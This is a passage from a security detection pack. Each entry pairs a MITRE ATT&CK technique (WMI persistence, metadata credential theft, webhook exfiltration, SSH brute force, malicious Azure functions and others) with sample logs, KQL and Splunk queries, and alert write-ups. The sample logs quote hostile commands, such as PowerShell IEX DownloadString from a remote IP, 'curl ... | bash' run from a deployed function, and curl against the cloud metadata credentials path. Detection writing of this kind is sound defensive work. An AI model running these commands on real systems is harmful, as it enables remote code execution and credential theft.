| where FolderPath contains "OneDrive\\\\Sync"  
| summarize TotalFiles = count(), TotalSize = sum(FileSize) by AccountName,  
bin(Timestamp, 30m)  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "onedrive.live.com" and BytesSent > 1000000000  
) on AccountName
```

SPLUNK

```
index=file_logs OR index=proxy_logs  
| search FolderPath="*\OneDrive\Sync*" AND Url="*onedrive.live.com*"  
| stats count as FilesMoved sum(BytesSent) as GBSent by User, Device, _time  
| where GBSent > 1000000000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Data Exfiltration via OneDrive Sync

Severity: High

Description: kyle.wong@clientorg.com transferred ~1.8GB of data into his OneDrive sync folder, which was uploaded externally shortly after.

Recommended Action:

- Confirm if OneDrive usage is permitted
- Suspend syncing and isolate endpoint
- Investigate accessed files and content classification
- Monitor for other sync clients in use across network

## **DETECTION PACK ENTRY 33**

**USE CASE: CANARY TOKEN TRIGGERED – DOCUMENT ENUMERATION**

**DETECTED**

**TACTIC: DISCOVERY / INITIAL ACCESS**

**TECHNIQUE: T1087.002 - ACCOUNT DISCOVERY: DOMAIN ACCOUNTS**

**ENVIRONMENT: FILE SHARE + CANARY TOKENS + SIEM**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Canarytoken Trigger (Webhook or Email Log)

```
{  
  "Timestamp": "2025-07-04T11:18:48Z",  
  "TokenType": "MS Word Doc (Fake CV)",  
  "TokenLabel": "HR_Candidate_List.docx",  
  "TriggeredBy": "unknown@internal-device.local",  
  "TriggerIP": "10.33.4.98",  
  "TriggerMethod": "Open/Preview in Word"  
}
```

Data Source: AD + File Share Logs

```
{  
  "User": "unknown",  
  "Accessed": "\\\HR-SHARE\\Hiring\\HR_Candidate_List.docx",  
  "Time": "2025-07-04T11:18:46Z"  
}
```

### **DETECTION QUERY**

KQL (Custom Canary Log Ingest)

```
CanaryEvents  
| where TokenLabel == "HR_Candidate_List.docx"  
| project Timestamp, TriggerIP, TriggerMethod  
| join kind=inner (  
  FileAccessLogs  
  | where FileName == "HR_Candidate_List.docx"  
) on Timestamp
```

SPLUNK

index=canary\_tokens OR index=fileshare

```
| search FileName="HR_Candidate_List.docx"  
| stats count by User, TriggerIP, TriggerMethod, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Canary Token Triggered – Unauthorized Access to Fake CV

Severity: High

Description: A decoy document named HR\_Candidate\_List.docx triggered a canary token when opened from IP 10.33.4.98. Indicates document scanning or enumeration attempt.

Recommended Action:

- Investigate triggering system and user session
- Monitor lateral movement and credential access attempts
- Confirm that file shares are segmented and tokens are active
- Expand deception coverage to other sensitive folders

## **DETECTION PACK ENTRY 34**

**USE CASE: WMI EVENT SUBSCRIPTION FOR PERSISTENCE**

**TACTIC: PERSISTENCE**

**TECHNIQUE: T1546.003 - EVENT TRIGGERED EXECUTION: WINDOWS**

**MANAGEMENT INSTRUMENTATION EVENT SUBSCRIPTION**

**ENVIRONMENT: SYMON + WMI LOGS + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: WMI Event Log (Microsoft-Windows-WMI-Activity/Operational)

```
{  
  "Timestamp": "2025-07-04T13:21:00Z",  
  "User": "svc.taskrunner",  
  "Namespace": "root\\subscription",  
  "Consumer": "CommandLineEventConsumer",  
  "CommandLineTemplate": "powershell -w hidden -nop -c IEX(New-Object  
  Net.WebClient).DownloadString('http://203.0.113.25/b.ps1')",  
  "Filter": "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA  
  'Win32_Process'"  
}
```

Data Source: Sysmon Event ID 1

```
{  
  "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",  
  "Parent": "WmiPrvSE.exe",  
  "User": "svc.taskrunner",  
  "Timestamp": "2025-07-04T13:21:03Z"  
}
```

## **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where InitiatingProcessFileName == "WmiPrvSE.exe"  
| where ProcessCommandLine has "DownloadString" or ProcessCommandLine has "IEX"  
| join kind=inner (  
    WMILog  
    | where Namespace == "root\\subscription"  
) on DeviceName  
| project Timestamp, AccountName, ProcessCommandLine, DeviceName
```

## SPLUNK

```
index=wmi_logs OR index=sysmon
| search ParentProcess="WmiPrvSE.exe" CommandLine="*DownloadString*"
| join User[
  search index=wmi_logs Namespace="root\\subscription"
]
| stats count by User, CommandLine, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious WMI Event Subscription Created

Severity: High

Description: A WMI event subscription was created by svc.taskrunner to trigger PowerShell payloads when new processes are created. Persistence confirmed via Sysmon.

Recommended Action:

- Remove malicious WMI subscriptions using Get-WmiObject -Namespace root\subscription
- Audit host for other persistence techniques
- Block outbound calls to identified malicious domains
- Review all scheduled tasks and autoruns on the device

## **DETECTION PACK ENTRY 35**

**USE CASE: GCP IAM PRIVILEGE ESCALATION VIA SERVICE ACCOUNT  
IMPERSONATION**

**TACTIC: PRIVILEGE ESCALATION**

**TECHNIQUE: T1078.004 - CLOUD ACCOUNTS**

**ENVIRONMENT: GCP AUDIT LOGS + IAM CONFIG + CASB**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GCP IAM Audit Log

```
{  
  "Timestamp": "2025-07-04T14:38:19Z",  
  "Actor": "dev-intern@clientorg.com",  
  "Method": "SetIamPolicy",  
  "Target": "serviceAccount:admin-svc@clientorg.com",  
  "Permission": "iam.serviceAccounts.actAs",  
  "IP": "185.123.33.101"  
}
```

Data Source: GCP Access Log

```
{  
  "Timestamp": "2025-07-04T14:39:08Z",  
  "User": "dev-intern@clientorg.com",  
  "Impersonated": "admin-svc@clientorg.com",  
  "Action": "Create VM",  
  "Project": "prod-analytics"  
}
```

### **DETECTION QUERY**

KQL (via GCP Audit ingestion in Sentinel)

```
GCPAuditLogs  
| where MethodName == "SetIamPolicy" and TargetResource contains "serviceAccount"  
| where ProtoPayload.authorizationInfo[].permission has "actAs"  
| join kind=inner (  
    GCPAccessLogs  
    | where Actor != ImpersonatedIdentity  
) on Actor
```

SPLUNK

```
index=gcp_audit_logs
| search Method="SetIamPolicy" Permission="*actAs*"
| join Actor [
    search index=gcp_access_logs User!=Impersonated
]
| stats count by Actor, Impersonated, Action, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: GCP Privilege Escalation via Service Account Impersonation

Severity: Critical

Description: dev-intern@clientorg.com granted themselves actAs permission over admin-svc and used it to spin up a VM under prod-analytics.

Recommended Action:

- Revoke impersonation rights and delete created resources
- Review GCP IAM roles for least privilege violations
- Implement automated detections on service account changes
- Log all actAs usage and correlate with access context

## **DETECTION PACK ENTRY 36**

**USE CASE: ARCHIVE BOMB (NESTED ZIP DOS ATTEMPT)**

**TACTIC: IMPACT**

**TECHNIQUE: T1499.001 - ENDPOINT DENIAL OF SERVICE: RESOURCE EXHAUSTION**

**ENVIRONMENT: ENDPOINT + EMAIL GATEWAY + DLP**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Email Gateway Logs

```
{  
  "Timestamp": "2025-07-04T15:22:17Z",  
  "Sender": "unknown@untrustedmail.com",  
  "Recipient": "it.support@clientorg.com",  
  "Attachment": "Resume_2025.zip",  
  "AttachmentSize": "4 MB",  
  "AttachmentType": "ZIP",  
  "NestedLevels": 100,  
  "ContainedFiles": 800,000  
}
```

Data Source: EDR + Endpoint Alert

```
"File": "Resume_2025.zip",  
"DecompressionStarted": "Yes",  
"SystemImpact": "RAM usage > 90%",  
"CPU": "100%",  
"EDR Alert": "Archive bomb detected based on decompression rate",  
"Host": "HELPDESK-WS-02"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
EmailAttachmentInfo  
| where AttachmentType == "ZIP" and AttachmentSize < 10mb  
| join kind=inner (  
  DevicePerformanceLogs  
  | where CPUUtilization > 90 and MemoryUtilization > 90  
) on Recipient
```

## SPLUNK

```
index=email_logs OR index=edr
| search Attachment="*.zip" AttachmentSize<10000000
| join Recipient [
    search index=edr SystemImpact="RAM usage > 90%"
]
| stats count by Host, File, Sender, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: ZIP Archive Bomb Attempt Detected

Severity: High

Description: Resume\_2025.zip attachment from unknown sender caused 100% CPU and RAM usage on HELPDESK-WS-02. Decompression attempt triggered EDR alert.

Recommended Action:

- Quarantine email and block sender domain
- Educate users on compressed archive phishing vectors
- Set mail gateway policies to inspect nested archive depth
- Apply EDR policy to kill high-resource unzip processes

## **DETECTION PACK ENTRY 37**

**USE CASE: ABUSE OF TEAMS WEBHOOK FOR DATA EXFILTRATION**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1567.001 - EXFILTRATION OVER WEB SERVICE**

**ENVIRONMENT: PROXY LOGS + APP GATEWAY + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Logs

```
{  
  "Timestamp": "2025-07-05T08:11:30Z",  
  "User": "amir.salim@clientorg.com",  
  "Device": "OPS-WS-13",  
  "DestinationURL": "https://outlook.office.com/webhook/bb2a34e1...",  
  "Method": "POST",  
  "PayloadSize": 2.4 MB,  
  "Category": "Collaboration",  
  "UserAgent": "curl/7.81.0"  
}
```

Data Source: UEBA

```
{  
  "AnomalyType": "Unusual Use of Microsoft Teams Webhook",  
  "Confidence": "High",  
  "User": "amir.salim@clientorg.com",  
  "Context": "Webhook used outside Teams desktop/web client",  
  "Timestamp": "2025-07-05T08:11:32Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
ProxyLogs  
| where Url has "webhook" and Url has "outlook.office.com"  
| where HttpMethod == "POST" and PayloadSize > 1000000  
| where UserAgent !has_any ("Teams", "Office")  
| project Timestamp, Url, PayloadSize, UserAgent, AccountName
```

SPLUNK

```
index=proxy_logs OR index=ueba
| search URL="*webhook*" AND URL="*outlook.office.com*" AND Method="POST"
| search UserAgent!="*Teams*" AND UserAgent!="*Office*"
| stats sum(PayloadSize) as TotalSent by User, URL, _time
| where TotalSent > 1000000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Exfiltration via Microsoft Teams Webhook

Severity: High

Description: User amir.salim@clientorg.com used curl to send 2.4MB of data to a Microsoft Teams webhook endpoint. Action did not originate from legitimate Teams clients.

Recommended Action:

- Revoke and rotate any exposed webhook URLs
- Review Teams usage policy and outbound controls
- Investigate data sent and its source on endpoint
- Monitor for other unusual POSTs to collaboration platforms

## **DETECTION PACK ENTRY 38**

**USE CASE: SUSPICIOUS OUTBOUND SQL CONNECTIONS TO UNKNOWN DBS**

**TACTIC: COMMAND AND CONTROL / EXFILTRATION**

**TECHNIQUE: T1071.005 - APPLICATION LAYER PROTOCOL: SQL**

**ENVIRONMENT: NDR + EDR + PROXY LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: NDR + Firewall Logs

```
{  
  "Timestamp": "2025-07-05T09:18:00Z",  
  "SourceIP": "10.15.55.87",  
  "DestinationIP": "192.0.2.245",  
  "DestinationPort": 1433,  
  "Application": "TDS (MSSQL)",  
  "Detection": "Outbound SQL session initiated",  
  "BytesOut": "92 MB"  
}
```

Data Source: Sysmon (Event ID 3)

```
{  
  "Process": "sqlcmd.exe",  
  "CommandLine": "sqlcmd -S 192.0.2.245 -U sa -P P@ssw0rd",  
  "User": "it.automation@clientorg.com",  
  "Timestamp": "2025-07-05T09:17:57Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceNetworkEvents  
| where RemotePort == 1433 and Direction == "Outbound"  
| join kind=inner (  
  DeviceProcessEvents  
  | where FileName == "sqlcmd.exe"  
) on DeviceId  
| where RemoteIP !in ("approved_sql_ips")  
| summarize BytesOut = sum(SentBytes) by AccountName, RemoteIP, Timestamp
```

## SPLUNK

```
index=ndr OR index=sysmon
| search DestinationPort=1433 AND Direction="Outbound"
| join Process [
    search index=sysmon CommandLine="*sqlcmd*"
]
| stats sum(BytesOut) as TotalSent by User, RemoteIP, _time
| where TotalSent > 50000000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Outbound SQL Connection to Untrusted Host

Severity: High

Description: sqlcmd.exe used by it.automation@clientorg.com connected to external IP 192.0.2.245:1433, transferring ~92MB. Possible exfiltration via SQL protocol.

Recommended Action:

- Block destination IP at perimeter
- Review endpoint for staging of large data sets
- Verify credentials used in SQL command
- Perform full process chain analysis

## **DETECTION PACK ENTRY 39**

**USE CASE: EXPLOITING VULNERABLE BROWSER EXTENSION**

**TACTIC: EXECUTION**

**TECHNIQUE: T1189 - DRIVE-BY COMPROMISE**

**ENVIRONMENT: EDR + PROXY + EXTENSION MONITORING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: EDR + Chrome Extension API

```
{  
  "Timestamp": "2025-07-05T10:44:15Z",  
  "Device": "MKT-WS-06",  
  "User": "nadira.lim@clientorg.com",  
  "ExtensionID": "nmfgfkglgsjbdfhkljd",  
  "ExtensionName": "PDF Converter Pro",  
  "ExtensionPermissions": ["tabs", "webRequest", "downloads"],  
  "MaliciousScript": "document.location = 'http://198.51.100.20/steal.js'",  
  "ExecutionOrigin": "extension_background.js"  
}
```

Data Source: Proxy Logs

```
{  
  "URL": "http://198.51.100.20/steal.js",  
  "Method": "GET",  
  "UserAgent": "ChromeExtension",  
  "BytesReceived": 14 KB,  
  "Timestamp": "2025-07-05T10:44:17Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
BrowserExtensionLogs  
| where ExtensionPermissions has_any ("tabs", "webRequest", "downloads")  
| where ExtensionID in ("nmfgfkglgsjbdfhkljd")  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "steal.js"  
) on AccountName
```

## SPLUNK

```
index=chrome_extensions OR index=proxy_logs  
| search ExtensionName="PDF Converter Pro" URL="*steal.js*"  
| stats count by User, ExtensionName, ExtensionID, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Malicious Browser Extension Exploited

Severity: High

Description: The Chrome extension PDF Converter Pro downloaded steal.js from an external domain. Execution originated from extension\_background.js.

Recommended Action:

- Disable and remove the extension from affected systems
- Block domain 198.51.100.20 at proxy/DNS level
- Scan browser profiles for injected JavaScript
- Enforce extension allowlisting policy

## **DETECTION PACK ENTRY 40**

**USE CASE: DNS OVER HTTPS (DOH) USED TO BYPASS DNS LOGGING**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1568.002 - DYNAMIC RESOLUTION: ENCRYPTED DNS**

**ENVIRONMENT: PROXY + NDR + HOST AGENT LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Logs

```
{  
  "Timestamp": "2025-07-06T09:05:55Z",  
  "User": "faiz.halim@clientorg.com",  
  "Device": "RND-WS-15",  
  "Destination": "https://dns.google/dns-query",  
  "Method": "POST",  
  "Payload": "Encrypted DNS request",  
  "Tool": "dnscrypt-proxy",  
  "BytesOut": 412 KB,  
  "UserAgent": "dnscrypt-proxy/2.1.0"  
}
```

Data Source: NDR Alert

```
{  
  "Type": "Encrypted DNS Detected",  
  "Confidence": "High",  
  "ToolDetected": "dnscrypt-proxy",  
  "TriggerHost": "RND-WS-15",  
  "Risk": "High"  
}
```

## **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
ProxyLogs  
| where Url contains "dns-query" or UserAgent has "dnscrypt"  
| where BytesSent > 100000  
| project Timestamp, AccountName, Url, UserAgent, BytesSent
```

SPLUNK

```
index=proxy_logs OR index=ndr  
| search URL="*dns-query*" OR UserAgent="*dnscrypt*"  
| stats sum(BytesSent) as TotalBytes by User, Device, _time  
| where TotalBytes > 100000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: DNS over HTTPS (DoH) Tunnel Detected

Severity: Medium-High

Description: Host RND-WS-15 using dnscrypt-proxy to send encrypted DNS queries to dns.google. Bypasses internal DNS logging.

Recommended Action:

- Block external DoH endpoints at firewall
- Remove dnscrypt-proxy from the endpoint
- Route all DNS through controlled resolvers
- Add EDR policies to flag encrypted DNS clients

## **DETECTION PACK ENTRY 41**

**USE CASE: POWERSHELL EXECUTION VIA WMI CONSUMER CHAIN**

**TACTIC: EXECUTION / PERSISTENCE**

**TECHNIQUE: T1047 + T1546.003 - WINDOWS MANAGEMENT**

**INSTRUMENTATION / EVENT TRIGGER**

**ENVIRONMENT: SYSMON + WMI LOGS + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1

```
{  
  "Timestamp": "2025-07-06T10:40:22Z",  
  "Process": "powershell.exe",  
  "Parent": "WmiPrvSE.exe",  
  "CommandLine": "powershell.exe -nop -enc aQBlAHgAKAAu...",  
  "User": "svc.mgmt@clientorg.com",  
  "Device": "MGMT-WS-07"  
}
```

Data Source: WMI Consumer Log

```
{  
  "Namespace": "root\\subscription",  
  "FilterName": "ProcessWatch",  
  "ConsumerType": "ActiveScriptEventConsumer",  
  "ScriptContent": "powershell.exe -nop -enc aQBlAHgAKAAu...",  
  "Trigger": "__InstanceModificationEvent"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
DeviceProcessEvents  
| where InitiatingProcessFileName == "WmiPrvSE.exe"  
| where FileName == "powershell.exe" and ProcessCommandLine has "-enc"  
| join kind=inner (  
    WMILog  
    | where ConsumerType == "ActiveScriptEventConsumer"  
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=wmi_logs
| search Parent="WmiPrvSE.exe" CommandLine="*-enc*"
| join Device [
    search index=wmi_logs ConsumerType="ActiveScriptEventConsumer"
]
| stats count by User, CommandLine, Device, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: PowerShell Launched via WMI Event Consumer

Severity: High

Description: WMI event consumer on MGMT-WS-07 launched encoded PowerShell via WmiPrvSE.exe. Indicates hidden persistence mechanism.

Recommended Action:

- Delete malicious WMI filters and consumers
- Inspect PowerShell payload content via decoding
- Lock down WMI namespaces for non-admins
- Isolate host and perform memory capture

## **DETECTION PACK ENTRY 42**

**USE CASE: MALICIOUS OUTLOOK EMAIL RULE FOR AUTO-FORWARDING**

**TACTIC: PERSISTENCE / COLLECTION**

**TECHNIQUE: T1114.003 - EMAIL COLLECTION: OUTLOOK RULES**

**ENVIRONMENT: EXCHANGE + DEFENDER FOR O365 + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Exchange Audit Log

```
{  
  "Timestamp": "2025-07-06T11:57:41Z",  
  "User": "karen.yeoh@clientorg.com",  
  "RuleName": "AutoForward_Inbox",  
  "Condition": "Apply to all messages",  
  "Action": "Forward to exfiltrator@maliciousmail.com",  
  "CreatedBy": "Outlook Web App",  
  "IP": "185.144.33.77"  
}
```

Data Source: Defender for O365 Alert

```
{  
  "AlertTitle": "Suspicious Inbox Rule Created",  
  "User": "karen.yeoh@clientorg.com",  
  "Severity": "High",  
  "Detection": "Rule forwards all mail to external domain",  
  "Method": "Web Access",  
  "OriginIP": "Unfamiliar"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Exchange logs)

```
EmailEvents  
| where Action == "InboxRuleCreated" and RuleAction has "Forward"  
| where RuleTargetDomain !endswith "clientorg.com"  
| project Timestamp, User, RuleTarget, RuleName, ClientIP
```

SPLUNK

```
index=exchange_logs OR index=o365_defender
```

```
| search Action="InboxRuleCreated" RuleAction="*Forward*"  
| search RuleTarget!="*@clientorg.com"  
| stats count by User, RuleTarget, ClientIP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Malicious Email Rule for External Auto-Forwarding

Severity: High

Description: An inbox rule created via OWA auto-forwards all messages from karen.yeoh@clientorg.com to an external malicious address.

Recommended Action:

- Delete the rule via Exchange admin center or PowerShell
- Notify user and reset credentials
- Check if attacker had earlier OWA session access
- Enable rule creation monitoring and alerting

## **DETECTION PACK ENTRY 43**

**USE CASE: SSH BRUTE FORCE ON EXPOSED LINUX CLOUD INSTANCE**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1110.001 - BRUTE FORCE: PASSWORD GUESSING**

**ENVIRONMENT: LINUX AUDIT LOGS + FIREWALL + CLOUD IDS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: UFW/SSH Logs (/var/log/auth.log)

```
{  
  "Timestamp": "2025-07-07T02:33:14Z",  
  "SourceIP": "103.87.12.54",  
  "Port": 22,  
  "Username": "admin",  
  "Result": "Failed password",  
  "AttemptCount": 116,  
  "Target": "cloud-prod-vm01"  
}
```

Data Source: Cloud IDS Alert

```
{  
  "AlertType": "SSH Brute Force",  
  "SourceIP": "103.87.12.54",  
  "Destination": "cloud-prod-vm01",  
  "Count": 100+ attempts within 5 minutes,  
  "Confidence": "High"  
}
```

### **DETECTION QUERY**

KQL (Sentinel - Syslog via Log Analytics Agent)

```
Syslog  
| where Facility == "auth" and ProcessName == "sshd"  
| where SyslogMessage contains "Failed password"  
| summarize Count = count() by bin(TimeGenerated, 5m), HostName, ProcessName,  
SyslogMessage, SourceIP  
| where Count > 50
```

SPLUNK

```
index=syslog sourcetype=linux_secure  
| search "Failed password"  
| bucket _time span=5m  
| stats count by SourceIP, Host, _time  
| where count > 50
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: SSH Brute Force Attempt from 103.87.12.54

Severity: High

Description: Over 100 failed SSH login attempts were detected on cloud-prod-vm01 targeting the admin account from IP 103.87.12.54.

Recommended Action:

- Block source IP in cloud firewall rules
- Disable password authentication; enforce key-based login
- Enable fail2ban or similar host-based protection
- Review SSH audit logs for any successful intrusion

## **DETECTION PACK ENTRY 44**

**USE CASE: EXPLOITING CLOUD METADATA API FOR CREDENTIAL THEFT**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1552.005 - CLOUD INSTANCE METADATA API**

**ENVIRONMENT: CLOUD LOGS + NDR + SYMON (FOR CURL/WGET)**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Linux equivalent collected)

```
{  
    "Timestamp": "2025-07-07T04:16:07Z",  
    "Command": "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/",  
    "User": "webuser",  
    "Device": "cloud-app-node-3"  
}
```

Data Source: CloudTrail / GCP Access Logs

```
{  
    "Resource": "metadata API",  
    "AccessedBy": "webuser",  
    "IP": "localhost",  
    "TokenFetched": "temp AWS credentials",  
    "AccessMethod": "curl",  
    "Timestamp": "2025-07-07T04:16:08Z"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel via Defender for Cloud or AWS/GCP logs)

Syslog

```
| where CommandLine has "169.254.169.254" or CommandLine has "metadata"  
| join kind=inner (  
    CloudAuditLogs  
    | where Resource has "security-credentials"  
) on HostName
```

SPLUNK

```
index=sysmon OR index=cloudtrail  
| search CommandLine="*169.254.169.254*" OR Resource="*security-credentials*"
```

```
| stats count by User, Device, CommandLine, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Metadata API Access – Potential Credential Harvesting

Severity: High

Description: Cloud instance cloud-app-node-3 accessed the metadata service to fetch IAM credentials using curl. Indicates possible exploitation.

Recommended Action:

- Inspect process ancestry and investigate web server exposure
- Rotate exposed temporary credentials immediately
- Implement IMDSv2 (token-based metadata access) in AWS
- Restrict metadata access via firewall or local policies

## **DETECTION PACK ENTRY 45**

**USE CASE: GCP CLOUD STORAGE BUCKET MISUSE FOR MALWARE HOSTING**

**TACTIC: IMPACT / INITIAL ACCESS**

**TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION / T1566 - PHISHING HOSTING**

**ENVIRONMENT: GCP STORAGE LOGS + VIRUSTOTAL / THREAT INTEL + PROXY LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GCP Storage Access Logs

```
{  
  "Timestamp": "2025-07-07T06:02:14Z",  
  "Bucket": "clientorg-public-resources",  
  "Object": "invoice_viewer.exe",  
  "AccessType": "Public Read",  
  "UploadedBy": "intern.dev@clientorg.com",  
  "Size": "2.1MB",  
  "SHA256": "f3b9e3d0...ab1c",  
  "VirusTotal": "Malicious"  
}
```

Data Source: Proxy Logs

```
{  
  "RequestURL": "https://storage.googleapis.com/clientorg-public-  
resources/invoice_viewer.exe",  
  "UserAgent": "Chrome/119",  
  "BytesDownloaded": 2.1MB,  
  "Referrer": "phishcampaign.mailhoster.io"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel via GCP connector)

```
GCPStorageLogs  
| where ObjectName endswith ".exe" and AccessType == "Public Read"  
| join kind=inner (  
  ThreatIntelIndicators  
  | where SHA256 == FileHash
```

) on SHA256

SPLUNK

```
index=gcp_storage OR index=proxy_logs  
| search URL="*.exe" AND URL="*storage.googleapis.com*"  
| join SHA256 [  
    search index=threatintel Verdict="Malicious"  
]  
| stats count by Bucket, Object, UploadedBy, URL, _time
```

#### **ALERT OUTPUT EXAMPLE**

Alert Name: Malicious Executable Hosted on Public GCP Bucket

Severity: High

Description: invoice\_viewer.exe was uploaded by intern.dev@clientorg.com to a public GCP bucket and flagged as malicious by VirusTotal.

Recommended Action:

- Immediately revoke public access and delete the file
- Review permissions of all public buckets
- Notify all users who may have downloaded the file
- Implement bucket-level restrictions and version control

## **DETECTION PACK ENTRY 46**

**USE CASE: AZURE FUNCTION ABUSE FOR HIDDEN CODE EXECUTION**

**TACTIC: EXECUTION**

**TECHNIQUE: T1059 - COMMAND AND SCRIPTING INTERPRETER**

**ENVIRONMENT: AZURE ACTIVITY LOGS + APP INSIGHTS + DEFENDER FOR CLOUD**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure Activity Logs

```
{  
  "Timestamp": "2025-07-07T08:30:25Z",  
  "Actor": "svc.logic@clientorg.com",  
  "OperationName": "Function App Deploy",  
  "FunctionName": "processFile",  
  "Code": "function(req, res) { require('child_process').exec('curl http://198.51.100.22/sh.sh  
| bash'); }",  
  "Location": "East US"  
}
```

Data Source: App Insights Logs

```
{  
  "InvocationID": "xyz-123",  
  "Function": "processFile",  
  "ExecutionTime": "152ms",  
  "Output": "Shell session started",  
  "IP": "198.51.100.22"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel)

```
AzureDiagnostics  
| where Category == "FunctionAppLogs"  
| where Message has "child_process" or Message has "exec"  
| join kind=inner (  
    AzureActivity  
    | where OperationName has "Deploy" and Properties has "Function"  
) on ResourceId  
| project Timestamp, Actor, FunctionName, Message, Location
```

## SPLUNK

```
index=azure_logs OR index=app_insights
| search Message="*child_process.exec*" OR Message="*bash*"
| join FunctionName [
    search index=azure_activity OperationName="Function App Deploy"
]
| stats count by Actor, FunctionName, IP, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Azure Function Deployment Executing Shell Commands

Severity: High

Description: Function processFile was deployed by svc.logic@clientorg.com to execute shell code via curl | bash. May be a covert execution vector.

Recommended Action:

- Disable the function app and revoke the service account
- Audit other deployed functions for similar code
- Block external command sources at the firewall
- Alert dev teams about secure serverless practices

## **DETECTION PACK ENTRY 47**

**USE CASE: UNAUTHORIZED MAILBOX EXPORT VIA EDISCOVERY IN MICROSOFT 365**

**TACTIC: COLLECTION**

**TECHNIQUE: T1114.002 - EMAIL COLLECTION: EDISCOVERY EXPORT**

**ENVIRONMENT: MICROSOFT PURVIEW (COMPLIANCE CENTER) + DEFENDER FOR O365**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Microsoft 365 Audit Logs

```
{  
  "Timestamp": "2025-07-07T09:50:10Z",  
  "User": "syahril.rahim@clientorg.com",  
  "Operation": "Export Results",  
  "CaseName": "eDiscovery-MassExport",  
  "MailboxCount": 38,  
  "FileSize": "7.4GB",  
  "ClientIP": "45.33.112.45"  
}
```

Data Source: Defender for O365 Alert

```
{  
  "AlertTitle": "Unusual eDiscovery Export Activity",  
  "Severity": "High",  
  "User": "syahril.rahim@clientorg.com",  
  "TriggeredBy": "Export of 30+ mailboxes",  
  "Origin": "ComplianceCenter",  
  "Confidence": "High"  
}
```

### **DETECTION QUERY**

KQL (Microsoft Sentinel – Unified Audit Logs)

```
OfficeActivity  
| where Operation == "Export Results"  
| where MailboxCount > 10 and FileSize > 5000000000  
| project Timestamp, UserId, CaseName, FileSize, ClientIP
```

SPLUNK

```
index=m365_audit  
| search Operation="Export Results"  
| stats count by User, MailboxCount, FileSize, ClientIP, _time  
| where MailboxCount > 10 AND FileSize > 5000000000
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Large-Scale eDiscovery Mailbox Export Detected

Severity: High

Description: User syahril.rahim@clientorg.com exported 38 mailboxes totalling 7.4GB via eDiscovery tools. Action did not follow standard approval workflow.

Recommended Action:

- Immediately revoke export token and session
- Investigate the justification and chain of access
- Notify compliance and HR for breach review
- Implement DLP alerts for mailbox exports

## **DETECTION PACK ENTRY 48**

**USE CASE: INSIDER PLACES RANSOMWARE LOADER IN SCHEDULED  
TASK DIRECTORY**

**TACTIC: IMPACT / PERSISTENCE**

**TECHNIQUE: T1053.005 + T1486 – SCHEDULED TASK + DATA ENCRYPTION**

**ENVIRONMENT: EDR + SYSMON + WINDOWS TASK SCHEDULER LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1

```
{  
  "Timestamp": "2025-07-07T11:23:19Z",  
  "Image": "C:\\\\Users\\\\Public\\\\ransom_updater.exe",  
  "FileDescription": "Updater",  
  "ParentImage": "C:\\\\Windows\\\\System32\\\\schtasks.exe",  
  "User": "mohd.jazli@clientorg.com"  
}
```

Data Source: Task Scheduler Event ID 106

```
{  
  "ScheduledTaskName": "UpdateCheckService",  
  "Path": "C:\\\\Users\\\\Public\\\\ransom_updater.exe",  
  "Trigger": "Hourly",  
